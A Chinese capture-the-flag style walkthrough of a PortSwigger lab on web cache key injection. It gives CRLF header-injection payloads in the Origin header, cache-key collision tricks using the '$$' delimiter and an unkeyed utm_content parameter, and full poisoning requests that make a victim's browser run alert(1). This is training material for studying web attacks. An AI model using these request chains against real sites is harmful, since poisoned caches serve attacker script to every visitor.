专家-缓存实现缺陷-缓存键注入
# 实验室:缓存键注入
# 题目
此实验室包含多个独立漏洞,包括缓存键注入。用户定期使用 Chrome 访问该网站的主页。
若要解决实验室问题,请结合这些漏洞,并在受害者的浏览器中执行alert(1)
。请注意,你需要使用Pragma: x-get-cache-key
标头来辅助本次实验。
提示
完成本实验需要了解其他几个 Web 漏洞。如果你在几个小时后仍然无法解决此问题,我们建议你先完成 Web 安全学院 (opens new window)上的所有其他主题。
- name: 实验室-专家
desc: 缓存键注入 >>
avatar: https://fastly.statically.io/gh/clincat/blog-imgs@main/vuepress/static/imgs/docs/burpsuite-learn/public/lab-logo.png
link: https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-cache-key-injection
bgColor: '#001350'
textColor: '#d112fe'
2
3
4
5
6
# 实操
点击 “ACCESS THE LAB” 进入实验室。
映入眼帘的是一个登录页面。嗯?
# 分析请求
访问登录页面时,会加载 js 文件/js/localize.js
,并传递两个参数lang=en
和cors=0
。
/js/localize.js?lang=en&cors=0
查看 js 文件内容,一个简单的功能,设置 Cookie 中的lang
参数。
所设置的 Cookie 会受 GET 参数lang=en
的影响。
直接访问根目录会发生什么情况?
第一个请求,访问根目录,重定向至/login?lang=en
路径。
第二个请求,重定向至/login?lang=en
,然后由于路径规范化,又被重定向至/login/?lang=en
路径下。
前两个请求(重定向)都是具有缓存的,第三个请求是正常访问页面,没有缓存。
然后我发现,如果在根目录/
传递一个空的查询参数(例如?i
),则不会发生重定向。
# 缓存键分析
根据题目中的提示,我们可以通过Pragma: x-get-cache-key
标头来显示某个页面的缓存键。
请求路径/js/localize.js?lang=en&cors=0
时,缓存键为/js/localize.js?lang=en&cors=0$$
。
缓存键前面的是路径,那么符号$$
应该就是教程中提到的分隔符。那么分隔符的后面是什么呢?
根据所学,添加一个Origin
标头,发现分隔符后方出现了origin=值
。
由此得出缓存键的组成方式:
缓存键 = <请求路径> + $$ + <origin=Origin标头的值>
然后我将cors
参数修改为1
,发现响应中多出了一个标头Access-Control-Allow-Origin: 值
。这有什么用呢?
cors
参数只接受0
和1
两个参数值,用于控制响应标头Access-Control-Allow-Origin
是否启用。
# 发现XSS
Access-Control-Allow-Origin
标头会反馈Origin
标头的值。
在 CSRF 主题的某个实验室中,我们曾向 Cookie 中注入符号%0d%0a
使其换行,这样就可以注入新的响应标头。
我们在这里也尝试一下:
Origin: abc.com%0d%0aSet-Cookie: abc=123
发送请求,成功使Access-Control-Allow-Origin
标头换行,并且注入了Set-Cookie
响应标头。
如果想要插入 XSS 载荷,则需要换行两次:
Origin: abc.com%0d%0a%0d%0aalert(1)
嗯?怎么没响应内容?
噢,经过查询,如果要在响应请求中显示 Body 部分,则需要添加Content-Length
(数据长度)标头。
先换行一次,添加标头Content-Length: 8
指定数据长度为 8 个字符。
然后换行两次,注入 XSS 载荷。
Origin: abc.com%0d%0aContent-Length: 8%0d%0a%0d%0aalert(1)
这次成功了。
# XSS缓存键分析
再次添加Pragma: x-get-cache-key
标头,看看造成 XSS 时的缓存键是什么样子的。
得到缓存键:
/js/localize.js?lang=en&cors=1$$origin=...
# 测试请求-1
根据所学,在Origin
标头最后面添加分隔符$$
:
Origin: ...$$
然后发送请求,得到缓存键:
- 路径是
/js/localize.js?lang=en&cors=1
- 分隔符是
$$
- Origin 标头是
origin=...$$
路径 + $$ + origin=...$$
/js/localize.js?lang=en&cors=1$$origin=...$$
2
3
# 测试请求-2
随后删除Origin
标头,在 GET 参数最后面添加分隔符$$
,在分隔符后面添加origin=...
:
/js/localize.js?lang=en&cors=1$$origin=...
然后发送请求,得到缓存键:
- 路径是
/js/localize.js?lang=en&cors=1$$origin=...
- 分隔符是
$$
- Origin 标头是空的,所以不会添加
路径 + $$
/js/localize.js?lang=en&cors=1$$origin=...$$
2
3
看出来了吗,第一和第二个测试请求的缓存键是相同的!所以它们会命中同一个缓存。
- 第一个请求带有
Origin
标头,会造成 XSS 漏洞,并引出有毒的缓存响应 - 第二个请求由于缓存键相同,所以会命中上一个有毒的缓存响应,得到
alert(1)
此时如果你通过浏览器访问以下 URL,则会看到alert(1)
。
/js/localize.js?lang=en&cors=1$$origin=%0d%0aContent-Length:8%0d%0a%0d%0aalert(1)
# 毒害资源导入URL
但现在有一个问题,网站主页引入的资源文件是/js/localize.js?lang=en&cors=0
。
而我们毒害的是/js/localize.js?lang=en&cors=1
,参数cors
是一个缓存键(有键),参数0
和1
会命中不同的缓存。
所以我们需要将网站主页的cors
变成1
,以便造成 XSS 漏洞。
经过尝试,参数lang
会实时反馈在响应当中,但cors
参数不会。
cors
始终为0
。
记得有一个跳转请求,它会重定向 URL,将/login?
变成/login/?
。
跳转过去的话能否影响到cors
参数?
cors
纹丝不动,还是0
。
# UTM参数伪装
随后我瞄了一小眼答案(我似废物),发现了问号的用法。
发现是利用无键参数utm_content
+ 问号?
解析差异 + 覆盖cors
参数。
我之前也发现了utm_content
无键参数,但是想不出来咋利用。
如果请求以下路径,用符号&
来分隔参数,则utm_content
会被视为独立的参数。该参数会被排除,无法反馈在即时响应当中。
/login/?lang=en&utm_content=ccc
如果请求以下路径,用符号?
来分隔参数,则utm_content
会被视为lang
参数的一部分。会被反馈在即时响应的 URL 资源导入当中。
/login/?lang=en?utm_content=ccc
构造以下路径:
- 用符号
?
来分隔utm_content
参数,使其被视为lang
参数的一部分,能够反馈在即时响应当中 utm_content
的值%26cors=1
会被带入到 js 资源导入的 URL 当中,作为参数cors=1
发送utm_content
的值%23
会被带入到 js 资源导入的 URL 当中,被解析为锚点符号#
,用于忽略原有的cors=0
参数
/login/?lang=en?utm_content=ccc%26cors=1%23
如图所示,通过utm_content
参数注入新的cors=1
参数,并使用锚点符号#
忽略掉原有的cors=0
参数。
访问以下路径,看看会发生什么。
/login/?lang=en?utm_content=ccc%26cors=1%23
和预料中的一样,成功地将资源导入 URL 的cors=0
变为了cors=1
。
# 重新分析XSS缓存键
由于我们往资源导入 URL 中注入了utm_content
参数,所以要重新构造对应的缓存键。好让资源导入时命中有毒的缓存。
如图所示,向 js 文件传递?utm_content=...&
时,这段字符串会直接被替换为单个问号?
。
之前分析的 XSS 缓存键可以不改动,只需要在两次请求的 URL 中增加字符串?utm_content=ccc&
即可。
同时还有一个要点,在向主页投毒时,原有的 URL 编码%0d%0a
需要进行第二次 URL 编码。
请求:
/login/?lang=en?utm_content=ccc%26cors=1$$origin=%25%30%64%25%30%61Content-Length:8%25%30%64%25%30%61%25%30%64%25%30%61alert(1)%23
加载:
/js/localize.js?lang=en?utm_content=ccc&cors=1$$origin=%0d%0aContent-Length:8%0d%0a%0d%0aalert(1)#&cors=0
锚点被忽略
/js/localize.js?lang=en?utm_content=ccc&cors=1$$origin=%0d%0aContent-Length:8%0d%0a%0d%0aalert(1)
2
3
4
命中缓存:
X-Cache-Key: /js/localize.js?lang=en?cors=1$$origin=%0d%0aContent-Length:8%0d%0a%0d%0aalert(1)$$
投毒请求:
GET /js/localize.js?lang=en?utm_content=ccc&cors=1 HTTP/2
Host: 0ac30060032bb5c280530dfe002000be.web-security-academy.net
Origin: %0d%0aContent-Length:8%0d%0a%0d%0aalert(1)$$
2
3
命中缓存:
?utm_content=ccc&
被转换为?
- 添加缓存分隔符
$$
- 添加
origin
参数 - 为
origin
赋值
/js/localize.js?lang=en?utm_content=ccc&cors=1
/js/localize.js?lang=en?cors=1
/js/localize.js?lang=en?cors=1$$
/js/localize.js?lang=en?cors=1$$origin=
/js/localize.js?lang=en?cors=1$$origin=%0d%0aContent-Length:8%0d%0a%0d%0aalert(1)$$
2
3
4
5
6
缓存键:
X-Cache-Key: /js/localize.js?lang=en?cors=1$$origin=%0d%0aContent-Length:8%0d%0a%0d%0aalert(1)$$
使用以上请求进行投毒。
然后访问以下 URL:
/login/?lang=en?utm_content=ccc%26cors=1$$origin=%25%30%64%25%30%61Content-Length:8%25%30%64%25%30%61%25%30%64%25%30%61alert(1)%23
访问之后就会加载有毒的 js 资源文件,执行alert()
。
已经能够在登录页面看到弹框了。
# 最终利用
第一个投毒-造成XSS
第二个投毒-将受害者重定向至特定的URL
还记得访问根目录/
时会产生重定向吗?
- 访问
/
- 重定向至
/login?lang=...
- 二次重定向至
/login/?lang=...
对第一次重定向进行投毒,使其重定向到带有 UTM 参数伪装的 URL:
/login?lang=en?utm_content=ccc%26cors=1$$origin=%25%30%64%25%30%61Content-Length:8%25%30%64%25%30%61%25%30%64%25%30%61alert(1)%23
由于解析差异,参数utm_content
不会被包含在缓存键中。
X-Cache-Key: /login?lang=en$$
所以请求路径/login?lang=...
和/login?lang=...?utm_content=...
会命中同一个缓存响应。
访问网站根目录,成功执行alert()
。
看看产生了哪些请求。
第一个请求,受害者访问网站根目录/
,被重定向至登录页面/login?lang=en
第二个请求,命中有毒的缓存响应。
原本应该重定向至/login/?lang=en
,但缓存响应已被我们毒害,所以受害者会被重定向至/login/?lang=en?utm_content=ccc%26cors=1$$origin=%25%30%64%25%30%61Content-Length:8%25%30%64%25%30%61%25%30%64%25%30%61alert(1)%23
。
第三个请求,受害者被重定向至/login/?lang=en?utm_content=ccc%26cors=1......省略
。
然后该页面会根据 GET 参数,加载对应的 js 资源文件/js/localize.js?lang=en?utm_content=ccc&cors=1$$origin=%0d%0aContent-Length:8%0d%0a%0d%0aalert(1)#&cors=0
。
第四个请求,命中有毒的缓存响应。
受害者的script
标签加载恶意 js 资源文件,执行了alert(1)
。
实验完成。